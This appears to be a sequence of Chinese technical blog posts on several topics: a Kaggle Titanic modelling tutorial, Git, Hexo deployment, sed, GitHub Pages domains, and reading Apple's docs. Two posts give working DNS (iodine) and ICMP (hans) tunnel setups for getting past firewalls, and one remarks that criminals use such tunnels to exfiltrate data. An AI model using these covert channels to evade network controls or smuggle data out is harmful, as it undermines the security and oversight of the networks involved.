    combined['LargeFamily'] = combined['FamilySize'].map(lambda s: 1 if 5 <= s else 0)

    status('family')
    return combined

此函数引入了4个新特征:

  • FamilySize:包括乘客(他/她)自己在内的亲属总数。
  • Sigleton:描述 size = 1 的家庭的布尔变量
  • SmallFamily:一个布尔变量,描述 2 <= size <= 4 的家庭
  • LargeFamily:一个布尔变量,描述 5 < size 的家庭
combined = process_family()
Processing family : ok
print combined.shape
(1309, 67)

最后我们得到了67个特征。

combined.head()
Sex Age SibSp Parch Fare Title_Master Title_Miss Title_Mr Title_Mrs Title_Officer Title_Royalty Embarked_C Embarked_Q Embarked_S Cabin_A Cabin_B Cabin_C Cabin_D Cabin_E Cabin_F Cabin_G Cabin_T Cabin_U Pclass_1 Pclass_2 Pclass_3 Ticket_A Ticket_A4 Ticket_A5 Ticket_AQ3 Ticket_AQ4 Ticket_AS Ticket_C Ticket_CA Ticket_CASOTON Ticket_FC Ticket_FCC Ticket_Fa Ticket_LINE Ticket_LP Ticket_PC Ticket_PP Ticket_PPP Ticket_SC Ticket_SCA3 Ticket_SCA4 Ticket_SCAH Ticket_SCOW Ticket_SCPARIS Ticket_SCParis Ticket_SOC Ticket_SOP Ticket_SOPP Ticket_SOTONO2 Ticket_SOTONOQ Ticket_SP Ticket_STONO Ticket_STONO2 Ticket_STONOQ Ticket_SWPP Ticket_WC Ticket_WEP Ticket_XXX FamilySize Singleton SmallFamily LargeFamily
0 1 22.0 1 0 7.2500 0 0 1 0 0 0 0 0 1 0 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 1 0
1 0 38.0 1 0 71.2833 0 0 0 1 0 0 1 0 0 0 0 1 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 1 0
2 0 26.0 0 0 7.9250 0 1 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 1 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 1 1 0 0
3 0 35.0 1 0 53.1000 0 0 0 1 0 0 0 0 1 0 0 1 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 2 0 1 0
4 1 35.0 0 0 8.0500 0 0 1 0 0 0 0 0 1 0 0 0 0 0 0 0 0 1 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 0 0

III - 模型

在这一部分中,我们根据我们创建的特征建立统计模型。您可以将此模型视为一个盒子,它可以处理任何新乘客的信息,并决定他是否能够幸存。

有各种各样的模型可供使用,从逻辑回归到决策树,以及更复杂的模型,如随机森林和梯度提升树。

我们将使用随机森林。Random Froests 在 Kaggle 比赛中证明了很高的有效性。

有关为什么集合方法表现良好的更多详细信息,您可以参考这些帖子:

  • http://mlwave.com/kaggle-ensembling-guide/
  • http://www.overkillanalytics.net/more-is-always-better-the-power-of-simple-ensembles/

回到我们的问题,我们现在必须:

1.将组合数据集分成训练集和测试集。 2.使用训练集建立预测模型。 3.使用训练集评估模型。 4.使用测试集测试模型,并生成并输出提交文件。

请记住,我们必须重复 2 和 3 直到达到可接受的评估分数。

让我们首先导入需要用到的函数包。

from sklearn.pipeline import make_pipeline
from sklearn.ensemble import RandomForestClassifier
from sklearn.ensemble.gradient_boosting import GradientBoostingClassifier
from sklearn.feature_selection import SelectKBest
from sklearn.model_selection import StratifiedKFold
from sklearn.model_selection import GridSearchCV
from sklearn.model_selection import cross_val_score
from sklearn.feature_selection import SelectFromModel
from sklearn.linear_model import LogisticRegression, LogisticRegressionCV

为了评估我们的模型,我们将使用5折交叉验证(5-fold cross validation),因为它是在比赛排行榜中使用的指标。

为此,我们将定义一个小的评分函数。

def compute_score(clf, X, y, scoring='accuracy'):
    xval = cross_val_score(clf, X, y, cv = 5, scoring=scoring)
    return np.mean(xval)

从组合数据集中恢复训练集和测试集是一项简单的任务。

def recover_train_test_target():
    global combined

    targets = pd.read_csv('./data/train.csv', usecols=['Survived'])['Survived'].values
    train = combined.iloc[:891]
    test = combined.iloc[891:]

    return train, test, targets
train, test, targets = recover_train_test_target()

特征选择

到目前为止,我们已经提出了30多个特征。这个数字非常大。

在完成特征工程时,我们通常倾向于通过选择捕获基本特征的“正确”数量的特征来减少维度。

事实上,特征选择带来许多好处:

  • 它减少了数据之间的冗余
  • 它加快了训练过程
  • 它减少过拟合

基于树的估算器可用于计算特征重要性,而这些重要性又可用于丢弃不相关的特征。

clf = RandomForestClassifier(n_estimators=50, max_features='sqrt')
clf = clf.fit(train, targets)

让我们看看每个特征的重要性。

features = pd.DataFrame()
features['feature'] = train.columns
features['importance'] = clf.feature_importances_
features.sort_values(by=['importance'], ascending=True, inplace=True)
features.set_index('feature', inplace=True)
features.plot(kind='barh', figsize=(25, 25))
<matplotlib.axes._subplots.AxesSubplot at 0x117ff2a10>

png

正如您可能注意到的那样,与 Title_MrAgeFareSex 相关联非常重要。

Passenger_Id 也有重要的相关性。

现在让我们将我们的训练集和测试集转换为更紧凑的数据集。

model = SelectFromModel(clf, prefit=True)
train_reduced = model.transform(train)
print train_reduced.shape
(891, 12)
test_reduced = model.transform(test)
print test_reduced.shape
(418, 12)

好极了! 现在我们的特征减少了很多。

我们将看看我们是否会使用训练集的减少版或完整版。

让我们尝试不同的基础模型

logreg = LogisticRegression()
logreg_cv = LogisticRegressionCV()
rf = RandomForestClassifier()
gboost = GradientBoostingClassifier()

models = [logreg, logreg_cv, rf, gboost]
for model in models:
    print 'Cross-validation of : {0}'.format(model.__class__)
    score = compute_score(clf=model, X=train_reduced, y=targets, scoring='accuracy')
    print 'CV score = {0}'.format(score)
    print '****'
Cross-validation of : <class 'sklearn.linear_model.logistic.LogisticRegression'>
CV score = 0.818195097715
****
Cross-validation of : <class 'sklearn.linear_model.logistic.LogisticRegressionCV'>
CV score = 0.81818240172
****
Cross-validation of : <class 'sklearn.ensemble.forest.RandomForestClassifier'>
CV score = 0.808183171282
****
Cross-validation of : <class 'sklearn.ensemble.gradient_boosting.GradientBoostingClassifier'>
CV score = 0.824917697684
****

超参数调整

正如建模部分的开头所提到的,我们将使用随机森林模型。它可能不是这项任务的最佳模型,但我们将展示如何调整。这项工作可以应用于不同的模型。

随机森林非常方便。然而,它们会带有一些参数进行调整,以便为预测任务获得最佳模型。

要了解有关随机森林的更多信息,请参阅此 链接

此外,我们将使用全部训练集。

# turn run_gs to True if you want to run the gridsearch again.
run_gs = False

if run_gs:
    parameter_grid = {
                 'max_depth' : [4, 6, 8],
                 'n_estimators': [50, 10],
                 'max_features': ['sqrt', 'auto', 'log2'],
                 'min_samples_split': [2, 3, 10],
                 'min_samples_leaf': [1, 3, 10],
                 'bootstrap': [True, False],
                 }
    forest = RandomForestClassifier()
    cross_validation = StratifiedKFold(n_splits=5)

    grid_search = GridSearchCV(forest,
                               scoring='accuracy',
                               param_grid=parameter_grid,
                               cv=cross_validation,
                               verbose=1
                              )

    grid_search.fit(train, targets)
    model = grid_search
    parameters = grid_search.best_params_

    print('Best score: {}'.format(grid_search.best_score_))
    print('Best parameters: {}'.format(grid_search.best_params_))

else:
    parameters = {'bootstrap': False, 'min_samples_leaf': 3, 'n_estimators': 50,
                  'min_samples_split': 10, 'max_features': 'sqrt', 'max_depth': 6}

    model = RandomForestClassifier(**parameters)
    model.fit(train, targets)

现在通过扫描超参数的几个组合来构建模型,我们可以生成一个输出文件以在 Kaggle 上提交。

output = model.predict(test).astype(int)
df_output = pd.DataFrame()
aux = pd.read_csv('./data/test.csv')
df_output['PassengerId'] = aux['PassengerId']
df_output['Survived'] = output
df_output[['PassengerId','Survived']].to_csv('./predictions/gridsearch_rf.csv', index=False)

[BONUS] 混合不同模型

我没有亲自上传基于模型混合的提交,但这是你可以这么做:

trained_models = []
for model in models:
    model.fit(train, targets)
    trained_models.append(model)

predictions = []
for model in trained_models:
    predictions.append(model.predict_proba(test)[:, 1])

predictions_df = pd.DataFrame(predictions).T
predictions_df['out'] = predictions_df.mean(axis=1)
predictions_df['PassengerId'] = aux['PassengerId']
predictions_df['out'] = predictions_df['out'].map(lambda s: 1 if s >= 0.5 else 0)

predictions_df = predictions_df[['PassengerId', 'out']]
predictions_df.columns = ['PassengerId', 'Survived']
predictions_df.to_csv('./predictions/blending_base_models.csv', index=False)

为了获得良好的混合提交,基本模型应该是不同的,并且它们的相关性是不相关的。

IV - 结论

在本文中,我们探讨了 Kaggle 带给我们的一个有趣的数据集。

我们浏览了数据科学管道的基本要点:

  • 数据探索和可视化:制定假设的第一步
  • 数据清理
  • 特征工程
  • 特征选择
  • 超参数调整
  • 提交
  • 混合

如果您想测试和使用它,可以将此博客下载为笔记本:我的 github repo

译者注:此中文翻译地址为: qiwihui 的 github repo

关于这一挑战的文章很多,所以显然还有改进的余地。

以下是我建议的后续步骤:

  • 挖掘更多数据并最终构建新特征。
  • 尝试不同的模型:逻辑回归,Gradient Boosted Tree,XGboost 等。
  • 尝试集成学习技巧(堆叠)
  • 运行 auto-ML 框架

如果你能找到改善我的解决方案的方法,我会非常高兴。这可以让我更新文章,绝对给你信任。所以请随时发表评论。

重命名本地和远程 Git 分支名称

如果不小心写错了分支名称又将分支推送到了远端,这时可以使用以下步骤进行修正:

  1. 重命名本地分支:

    git branch -m old-name new-name
    

    若当前在 old-name 分支上,则可以省略 old-name

    git branch -m new-name
    
  2. 删除远程老分支:

    git push origin :old-name
    
  3. 推送新的本地分支,并设置本地新分支追踪远程分支:

    git push origin -u new-name
    

在 Mac OS X 上使用 iodine 配置 DNS 隧道

DNS 隧道,是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。

本文是在 Mac OS X 上实践的 DNS 隧道的一个记录,关于这个方法的原理,请具体参考 DNS Tunneling及相关实现

安装和配置

配置域名

准备一台 VPS 以及一个域名(比如 qiwihui.com),在域名的 DNS 配置中添加两条记录:

NameTypeTTLData
dnsA1hvps-ip
dtNS1hdns.qiwihui.com

服务端

以 Debian 系统为例,安装:

apt update
apt install iodine

使用

$ iodined -f -c -P password 172.18.0.1 dt.qiwihui.com 
Opened dns0
Setting IP of dns0 to 172.18.0.1
Setting MTU of dns0 to 1130
Opened IPv4 UDP socket
Listening to dns for domain dt.qiwihui.com

其中,password 是客户端和服务器之前的密码,172.18.0.1 为虚拟局域网的IP地址,可自行设定,但不要与现有网络重复了。此时,服务端已经就绪。

客户端(本地)安装 iodine

  1. 本地安装 tuntap
brew cask install tuntap
  1. 安装 iodine

因为官方没有提供 Mac OS X 的可执行文件,需要从源码编译,或者使用我已经设置好的 Homebrew tap 进行安装。从源码编译:

wget -c http://code.kryo.se/iodine/iodine-0.7.0.tar.gz
tar zxvf iodine-0.7.0.tar.gz
cd iodine-0.7.0
make
make install

或者使用 Homebrew:

brew tap qiwihui/core
brew install qiwihui/core/iodine

使用:

$ sudo iodine -f -P password dns.qiwihui.com dt.qiwihui.com
Opened /dev/tun0
Opened IPv4 UDP socket
Sending DNS queries for dt.qiwihui.com to <vps-ip>
Autodetecting DNS query type (use -T to override).
Using DNS type NULL queries
Version ok, both using protocol v 0x00000502. You are user #1
Setting IP of tun0 to 172.18.0.3
Adding route 172.18.0.0/27 to 172.18.0.3
add net 172.18.0.0: gateway 172.18.0.3
Setting MTU of tun0 to 1130
Server tunnel IP is 172.18.0.1
Testing raw UDP data to the server (skip with -r).
Server is at 10.170.0.3, trying raw login: ....failed
Retrying EDNS0 support test...
Using EDNS0 extension
Switching upstream to codec Base128
Server switched upstream to codec Base128
No alternative downstream codec available, using default (Raw)
Switching to lazy mode for low-latency
Server switched to lazy mode
Autoprobing max downstream fragment size... (skip with -m fragsize)
768 ok.. ...1152 not ok.. 960 ok.. 1056 ok.. 1104 ok.. 1128 ok.. 1140 ok.. will use 1140-2=1138
Setting downstream fragment size to max 1138...
Retrying set fragsize...
Retrying set fragsize...
Connection setup complete, transmitting data.

此时,客户端配置完成。

测试和使用

在本地尝试 ping 172.18.0.1 即可:

$ ping 172.18.0.1
PING 172.18.0.1 (172.18.0.1): 56 data bytes
64 bytes from 172.18.0.1: icmp_seq=0 ttl=64 time=233.914 ms
64 bytes from 172.18.0.1: icmp_seq=1 ttl=64 time=232.870 ms
64 bytes from 172.18.0.1: icmp_seq=2 ttl=64 time=230.201 ms
64 bytes from 172.18.0.1: icmp_seq=3 ttl=64 time=268.602 ms
64 bytes from 172.18.0.1: icmp_seq=4 ttl=64 time=230.573 ms
^C
--- 172.18.0.1 ping statistics ---
5 packets transmitted, 5 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 230.201/239.232/268.602/14.751 ms

这时,只要通过这个 DNS 隧道就可就传递其他数据了。

用途

当防火墙限制了一些网站的访问,但是能进行 DNS 查询时,可使用这种方法进行绕过,比如在公司,又或者在某些国家,犯罪分子也常用这中方式进行内网数据传出。

参考

在 Mac OS X 上使用 hans 配置 ICMP 隧道

最近因为电信白名单,高端口基本无法使用,解决办法就是将翻墙服务启动在80,443等可访问端口。但是最近防火墙又一次升级,国外的服务器基本只能 ping 通,TCP 请求无法完成,能访问世界的方式越来越困难。本文介绍一种方法,将数据包封装在 ping 包中进行传输。本方法中使用 hans 这个项目结合 shadowsocks-libev 翻墙。

安装

服务器端

同样,需要在服务器端编译安装 hans

wget -c https://github.com/friedrich/hans/archive/v1.0.tar.gz
tar zxvf v1.0.tar.gz
cd hans-1.0/
make

编译完成后会产生 hans 执行程序,按以下命令以 root 启动,程序会进入 Deamon 模式。如果要看到输出,可以加上 -f 参数。

./hans -s 10.1.2.0 -p password

其中,password 为设置的密码。然后使用 netstat -rn 可以看到多了一个 tun0 设备

$ netstat -rn
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
(省略其他的)
10.1.2.0        0.0.0.0         255.255.255.0   U         0 0          0 tun0

客户端

在 Mac OS X 上,先安装 tuntap 内核扩展来允许创建虚拟网卡,可以直接使用 Homebrew-Cask 安装,安装过程中需要按照指示给程序权限。

$ brew cask install tuntap

下载 Mac 版本程序并解压:hans

运行程序:

sudo ./hans -c <server-ip> -p password -d tun0

其中 server-ip 是你服务器的 IP,-d 指定Mac上新启设备的名称。Mac 上停止 hans 程序请使用 kill -9。如果启动正常,这时在Mac上也同样可以观察到tun0设备:

$ ifconfig

(省略其他)
tun0: flags=8851<UP,POINTOPOINT,RUNNING,SIMPLEX,MULTICAST> mtu 1467
        inet 10.1.2.100 --> 10.1.2.1 netmask 0xffffffff 
        open (pid 74236)

理论上这时服务器 IP 是无法 ping 通了:

$ ping <server-ip>
PING <server-ip>: 56 data bytes
Request timeout for icmp_seq 0
Request timeout for icmp_seq 1
Request timeout for icmp_seq 2
Request timeout for icmp_seq 3
^C
--- <server-ip> ping statistics ---
5 packets transmitted, 0 packets received, 100.0% packet loss

此时,就建立了一条从本地到服务器的 hanstunnel tunnel 了。

现在只需要将本地 ss-local 的配置中的 server 参数改为 tun0 的 gateway 地址(本例为10.1.2.1)即可,其他不需要做任何修改。

检查流量

在服务器网卡上抓包可以不断看到 ICMP 的 `echo request` 和 `echo reply` 包,在 tun0 上可以看到实际的数据包。

$ tcpdump -ni ens3

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens3, link-type EN10MB (Ethernet), capture size 262144 bytes
02:16:29.146644 IP <local-ip> > <server-ip>: ICMP echo request, id 38174, seq 7330, length 93
02:16:29.146647 IP <local-ip> > <server-ip>: ICMP echo request, id 38174, seq 7330, length 13
02:16:29.146652 IP <local-ip> > <server-ip>: ICMP echo request, id 38174, seq 7330, length 13
02:16:29.146684 IP <local-ip> > <server-ip>: ICMP echo request, id 38174, seq 7330, length 93
02:16:29.146704 IP <server-ip> > <local-ip>: ICMP echo reply, id 38174, seq 7330, length 257
02:16:29.146858 IP <server-ip> > <local-ip>: ICMP echo reply, id 38174, seq 7330, length 833
02:16:29.146942 IP <server-ip> > <local-ip>: ICMP echo reply, id 38174, seq 7330, length 257

(略去一堆)

以上就是使用 TCP over ICMP 的方法进行数据传输的配置过程。

Hexo git deployer 删除了提交历史记录该怎么整?

原文:Hexo git deployer removes commits history? Let’s do something about that!

我发现 Hexo 是构建博客和应用许多知名的软件开发原则的好工具,其中之一是自动化。这就是我决定将此博客与 Travis CI 集成以执行 GitHub pages 部署的原因。但几天之后我注意到一个重要问题 - 从 CI 服务器部署新版本的博客导致从 master 分支中删除所有提交并从一次又一次地初始化提交开始。我花了一段时间才找到解决这个问题的工作方案。这篇博文解释了这个问题的简单解决方案。

为什么 hexo deploy 会首先删除历史记录?

让我们从了解实际发生的事情开始。当你为 git 部署选项运行 hexo deploy [1]命令时,Hexo 会创建一个名为 .deploy_git 的隐藏文件夹,并将生成的文件从 public 文件夹复制到该文件夹。接下来,它初始化目标为 Hexo 远程部署分支的git存储库(如果它尚不存在),并从该文件夹执行 git push --force 到仓库和你在 _config.yml [2]文件中定义的分支。

清单1. 博客的部署配置

deploy:
  type: git
  repo: git@github.com:wololock/wololock.github.io.git
  branch: master

如果你从本地计算机构建和部署博客,并且永远不会删除(或意外丢失)你的博客源代码,你可能永远不会遇到此问题。当你从未被擦除的工作空间执行此操作时,则存在具有完整历史记录的文件夹 .deploy_git,并且 hexo deploy 仅推送实际修改的那些文件。当你迁移到像 Travis CI 这样的 CI 服务器时,这就变了,因为它使用干净的工作区和仓库的新克隆执行构建。在这种情况下,.deploy_git 文件夹根本不存在,将从头开始重新创建。

那么如何部署和保存历史呢?

我发现解决方案非常简单。以前我负责部署的 .travis.yml 文件部分看起来像这样:

清单2. 以前的 Travis CI 部署配置

deploy:
  skip_cleanup: true
  provider: script
  script: hexo deploy
  on:
    branch: develop

只要我将更改推送到 develop 分支,它就会触发 hexo deploy。在这种情况下,它最终创建了一个新的 .deploy_git 文件夹并强制将初始提交推送到 GitHub 仓库。然后,我做了一个小改进 - 我创建了一个简短的 bash 脚本。

清单3. 部署博客使用的脚本

#!/bin/bash

# 使用已部署文件初始化目标
git clone --depth 1 --branch=master https://github.com/wololock/wololock.github.io.git .deploy_git

cd .deploy_git

#从 ../public/ 复制之前删除所有文件
# 这样 git 可以跟踪上次提交中删除的文件
find . -path ./.git -prune -o -exec rm -rf {} \; 2> /dev/null

cd ../

# 部署
hexo clean
hexo deploy

这个脚本完全按照它在注释中所说的那样做:

  • 它将 master 分支从远程存储库克隆到 .deploy_git 以获取现有提交历史记录。
  • 然后它从 .deploy_git 中删除所有非 git 对象存储库文件,因此从 public 文件夹复制文件将跟踪已删除的文件。
  • 最后 - 它执行常规部署的 hexo deploy 命令。

最后,这是在引入部署bash脚本后的部署配置部分:

清单4. 当前的 Travis CI 部署配置

deploy:
  skip_cleanup: true
  provider: script
  script: sh deploy.sh
  on:
    branch: develop

由于这个解决方案,我能够保留站点更新的历史记录,并跟踪使用给定站点更新实际修改的文件的更改。

github hexo history

最后的话

我希望你发现这篇文章很有用。它描述了 Hexo + Travis CI + GitHub 用例的解决方案,但它可以解决从 CI 服务器环境运行时其他类似静态站点生成器可能遇到的问题。

参考

  1. Documentation: https://hexo.io/docs/deployment
  2. https://github.com/wololock/wololock.github.io/blob/develop/_config.yml#L88-L93

在 OS X 上使用 sed 命令的一些注意

在 OS X 上使用 sed 会和 GNU 上不太一致,在此记录。

  1. OS X sed 不可忽略备份扩展

不可忽略备份扩展

在 OS X 上进行文本替换时,必须要指定备份扩展,即使扩展可以为空。比如:

sed -i  's/foo/bar/g' target

上面这行代码,可以在 GNU 上运行,作用是将 foo 替换为 bar,并且直接修改目标文件(-i)。但是如果在 OS X 上,这行命令会报错:

$ sed -i 's/foo/bar/g' target 
sed: 1: "target": undefined label 'arget'

原因是在 OS X 上,sed 命令必须指定备份的扩展格式:

$ man sed

     -i extension
             Edit files in-place, saving backups with the specified extension.  If a zero-length extension is given, no backup will be saved.  It is not recommended to give a
             zero-length extension when in-place editing files, as you risk corruption or partial content in situations where disk space is exhausted, etc.

所以需要修改为

sed -i '' 's/foo/bar/g' target 

没有好的方法避免创建备份文件问题,以下的方法都做不到兼容:

  • sed -i -e ... - 在 OS X 上不起作用,会创建 -e 备份
  • sed -i'' -e ... - 在 OS X 10.6 不起作用,但在 10.9+ 可行
  • sed -i '' -e ... - 在 GNU 上不起作用

或者,在 OS X 使用 gnu-sed 代替 sed:

brew install gnu-sed
alias sed=gsed

又或者,使用其他命令:

perl -i -pe's/foo/bar/g' target

参考

GitHub Pages 自定义域名实践整理

这篇博客将整理在配置博客以及项目 Pages 的自定义域名过程,遇到的问题以及解决方法。Github 的文档对于如何配置自定义域名有详细的介绍,这里不会全部翻译,只重点记录实践的过程,内容涉及为用户网站,公司网站,以及项目网站添加 Apex 域名(qiwihui.com),二级域名(www.qiwihui.com)以及开启 HTTPS。最后,所有指向 www.qiwihui.com 的请求将会被重定向至 https://qiwihui.com

一些注意

Github 支持的自定义域名类型

支持的自定义域名类型域名例子
www subdomainwww.example.com
one apex domain & one www subdomainexample.com & www.example.com
apex domainexample.com
custom subdomainblog.example.com

GitHub Pages 站支持的域名

GitHub Pages 站类型在 Github 上 Pages 的默认域名和主机地址页面被如何重定向自定义域名举例
User Pages 站username.github.io自动重定向到设置的自定义域名user.example.com
Organization Pages 站orgname.github.io自动重定向到设置的自定义域名org.example.com
用户拥有的 Project Pages 站username.github.io/projectname自动重定向到 User Pages 站自定义域名的子目录(user.example.com/projectnameproject.example.com
公司拥有的 Project Pages 站orgname.github.io/projectname自动重定向到 Organization Pages 站自定义域名的子目录(org.example.com/projectnameproject.example.com

以个人 Pages 项目为例子

开启 Github Pages 功能

在项目 Settings 中,找到 GitHub Pages 这一区域,选择 Source 为对应的要部署的分支,这里我选择 gh-pages branch

gh-pages

其中,选择 master branch 会视 /README.md 为 web 的 index.html,选择 master branch /docs folder 会视 /docs/README.md 为 web 的 index.html

在项目配置中自定义域名

Custom domain 中添加自己的域名并保存:

custom-domain

或者,在项目分支中添加 CNAME 文件,CNAME 文件的内容为

qiwihui.com

这里推荐第二种,尤其对于有设置 CI 的项目,因为 CI 上将第一种设置覆盖。 这一步是比较重要却又容易忽视的一步:

  • 如果添加到 GitHub Pages 中的是 qiwihui.com,那么 www.qiwihui.com 会被重定向到 qiwihui.com
  • 如果添加到 GitHub Pages 中的是 www.qiwihui.com,那么 qiwihui.com 会被重定向到 www.qiwihui.com

这里我选择重定向到 www.qiwihui.com,所以设置为 qiwihui.com

添加 DNS 记录

为了能设置Apex 域名,需要在 DNS 中配置 A 记录指向 github 的 IP:

185.199.108.153
185.199.109.153
185.199.110.153
185.199.111.153

a-record

同时,设置 CNAME 记录将 www.qiwihui.com 指向 qiwihui.github.io,即 <你的 github 用户名>.github.io。对于公司来说,这个地址是 <公司名称>.github.io

www-record

确认 DNS 记录

以下是设置好之后的 DNS 记录情况:

$ dig +noall +answer qiwihui.com
qiwihui.com.            60      IN      A       185.199.111.153
qiwihui.com.            60      IN      A       185.199.110.153
qiwihui.com.            60      IN      A       185.199.108.153
qiwihui.com.            60      IN      A       185.199.109.153
$ dig www.qiwihui.com +nostats +nocomments +nocmd 

; <<>> DiG 9.10.6 <<>> www.qiwihui.com +nostats +nocomments +nocmd
;; global options: +cmd
;www.qiwihui.com.               IN      A
www.qiwihui.com.        28      IN      CNAME   qiwihui.github.io.
qiwihui.github.io.      28      IN      A       185.199.110.153
qiwihui.github.io.      28      IN      A       185.199.108.153
qiwihui.github.io.      28      IN      A       185.199.111.153
qiwihui.github.io.      28      IN      A       185.199.109.153

SSL(HTTPS)配置,强烈推荐开启

勾选 Enforce HTTPS

enfore_https

Github 会自动保持 HTTPS 证书的有效。

项目 Pages

当给项目设置 Pages 时,一般都已经有一个个人或者公司的 Pages 了,如果没有,就可以按以上的过程添加。如果已经设置了,则只需要很简单的两步即可:

以下以个人项目 [qiwihui/fullstackpython.com](https://github.com/qiwihui/fullstackpython.com),设置地址为 fullstackpython.qiwihui.com

  1. 在项目中开启 Github Pages,并添加 CNAME 文件指向 fullstackpython.qiwihui.com

fullstackpython

  1. 在 DNS 记录中添加 CNAME 记录将 fullstackpython.qiwihui.com 指向 qiwihui.github.io,即 <你的 github 用户名>.github.io。对于公司来说,这个地址是 <公司名称>.github.io

fullstackpython-record

一段时间后即可。

参考

如何阅读苹果开发文档

coding-woman-5

原文:How to read Apple’s developer documentation

对于很多人来说,这篇文章听起来很奇怪,因为我们已经习惯了 Apple 的 API 文档的工作方式,因此我们精神上已经经过调整以快速找到我们想要的东西。

但这是一个有趣的事实:去年我最热门的文章请求之一是帮助人们真正阅读 Apple 的代码文档。您如何找到您需要的 iOS API,如何浏览所有材料以找到您真正想要的内容,以及您如何深入了解为什么事情按照他们的方式工作?

所以,如果你曾经寻求帮助来理解 Apple 的开发者文档,首先我要让你知道你并不孤单 - 许多人都在努力解决这个问题。但其次,我希望这篇文章会有所帮助:我会尽力解释它的结构,它有什么好处(以及不好的地方),以及如何使用它。

更重要的是,我将向您展示经验丰富的开发人员寻找额外信息的位置,这些信息通常比Apple的在线文档更有价值。

“这是什么?” vs “你怎么用它?”

任何书面的 API 文档通常采用以下五种形式之一:

  1. 接口代码,显示了什么是方法名称和参数,属性名称和类型,以及类似的,带有一些描述它应该做什么的文本。
  2. API 的文本描述了它应该做什么以及一般指导用例。
  3. 广泛使用的有用的 API 示例代码。
  4. 如何使用 API 代码段。
  5. 解决常见问题的简单教程:如何做 X,如何做 Y,以及如何做 Z 等等。

粗略地说,苹果公司第一点做了很多,其次是第二点和第三点,第四点很少,第五点几乎没有。

所以,如果你正在寻找“如何用 Y 做 X ”的具体例子,你最好从我的 Swift 知识库开始 - 这正是它的用途。

了解 Apple 的文档解决的问题,可以帮助您从中获得最大收益。它并不是一个结构化的教程,它不会向您介绍一系列概念来帮助您实现目标,而是作为 Apple 支持的数千个 API 的参考指南。

寻找一个类

Apple的在线文档位于 https://developer.apple.com/documentation/ ,虽然您能在 Xcode 中使用本地副本,但我会说大多数人使用在线版本只是因为他们可以更容易地找到内容。

绝大多数 Apple 的文档都描述了接口,而这正是大多数时候你会看到的。我想使用一个实际的例子,所以请先在您的网络浏览器中打开https://developer.apple.com/documentation/ ,这是所有Apple开发者文档的主页。

apple-developer-documentation

您会看到所有 Apple 的 API 分为 App FrameworksGraphics and Games 等类别,您已经看到了一件重要的事情:所有深蓝色文本都是可点击的,并会带您进入特定框架的API文档。是的,它使用相同的字体和大小,没有下划线,说实话,深蓝色链接和黑色文本之间没有太大区别,但你仍然需要留意这些链接 - 有很多他们,你会用它们来深入挖掘主题。

现在请从 App Frameworks 类别中选择 UIKit,您将看到它的功能(为iOS创建用户界面)的简要概述,标有“重要”(Important)的大黄色框,然后是类别列表。那些黄色的盒子确实值得关注:虽然它们经常被使用,它们几乎总能阻止你犯下根本错误,这些错误导致出现奇怪的问题。

uikit-overview

此页面上重要的是共同描述 UIKit 的类别列表。这是人们经常迷路的地方:他们想要了解像 UIImage 这样的东西,所以他们必须仔细查看该列表以找到它可能出现的合适位置。

uikit-topics

在这种情况下,您可能会查看“资源管理”(Resource Management),因为它的副标题“管理存储在主可执行文件之外的图像,字符串,故事板和 nib 文件”听起来很有希望。但是,您会感到失望 - 您需要向下滚动到 “图像和 PDF”(Images and PDF)部分才能找到 UIImage

这就是为什么我谈过的大多数人只是使用自己喜欢的搜索引擎。他们输入他们关心的类,并且 - 只要它有“UI”,“SK”或类似的前缀 - 它可能是第一个结果。

不要误会我的意思:我知道这种做法并不理想。但是面对搜索一个类或者去 https://developer.apple.com/documentation/ ,选择一个框架,选择一个类别,然后选择一个类,第一个就是更快。

重要提示:无论您选择哪种方法,最终都会在同一个地方,所以只做最适合您的方法。现在,请找到并选择 UIImage

阅读类的接口

一旦选择了您关心的类,该页面就有四个主要组件:概述,版本摘要,接口和关系。

uiimage-overview

概述是“API的文本描述,描述了它应该做什么以及一般指导用例”,我之前提到过 - 我要求你选择 UIImage,因为它是文本描述何时运行良好的一个很好的例子。

当它是我第一次使用的类时,特别是如果它刚刚推出时,我通常会阅读概述文本。但是对于其他一切 - 我之前至少使用过一次的任何类 - 我跳过它并尝试找到我所得到的具体细节。请记住,Apple 文档确实不是一种学习工具:当您考虑到特定目的时,它最有效。

如果您不总是为所选 Apple 平台的最新版本开发,则版本摘要 - 页面右侧的侧栏 - 非常重要。在这种情况下,您将看到 iOS 2.0 +tvOS 9.0+watchOS 2.0+,它告诉我们何时 UIImage 类首次在这三个操作系统上可用,并且它仍然可用 - 如果它已被弃用(不再可用)你会看到像 iOS 2.0-9.0 这样的东西。

此页面上的实际内容 - 以及作为 Apple 框架中特定类的主页的所有页面 - 都列在“主题”标题下。这将列出该类支持的所有属性和方法,再次分解为使用类别:“获取图像数据”,“获取图像大小和比例”等。

uiimage-topics

如果您选择的类具有任何自定义初始化方法,则始终会首先显示它们。 UIImage 有很多自定义初始化方法,你会看到它们都被列为签名 - 只是描述它所期望的参数的部分。所以,你会看到这样的代码:

init?(named: String)
init(imageLiteralResourceName: String)

**提示:**如果您看到 Objective-C 代码,请确保将语言更改为 Swift。您可以在页面的右上角执行此操作,也可以在重要的 iOS 测试版引入更改时启用 API 更改选项。

switch-swift

记住,初始化方法写成 init? 而不是 init 的是容易出错的 - 它们返回一个可选项,以便在初始化失败时它们可以返回 nil

